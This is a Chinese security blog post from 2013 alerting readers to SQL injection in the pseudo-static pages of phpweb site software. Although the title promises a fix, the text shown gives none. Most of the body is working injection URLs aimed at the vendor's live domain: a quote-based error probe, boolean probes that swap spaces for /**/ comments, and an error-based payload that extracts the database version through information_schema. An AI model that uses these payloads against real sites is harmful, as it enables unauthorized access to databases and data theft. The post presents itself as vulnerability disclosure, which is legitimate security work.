您的位置 » 首页 » 实用工具 » 漏洞预警:phpweb伪静态页面注入及修复

漏洞预警:phpweb伪静态页面注入及修复

发表于5年前 | 作者: seay | 分类: 实用工具 | 孵化于:2013年01月05日 | 文章热度:7,194 次 全屏阅读

显示不全请点击全屏阅读

phpweb所有的整站程序伪静态页面都存在sql注入

主站:http://phpweb.net/
加’检测:
 
http://www.phpweb.net/down/html/?772′.html
 
出错
存在注入。
不能用空格,只能用/*罗
http://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常
 
http://www.phpweb.com/page/html/?56′/**/and/**/1=2/*.html 出错.
爆数据库版本:
 
http://www.phpweb.net/page/html/?56’/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html

Tags:

phpweb注入,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/1974/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)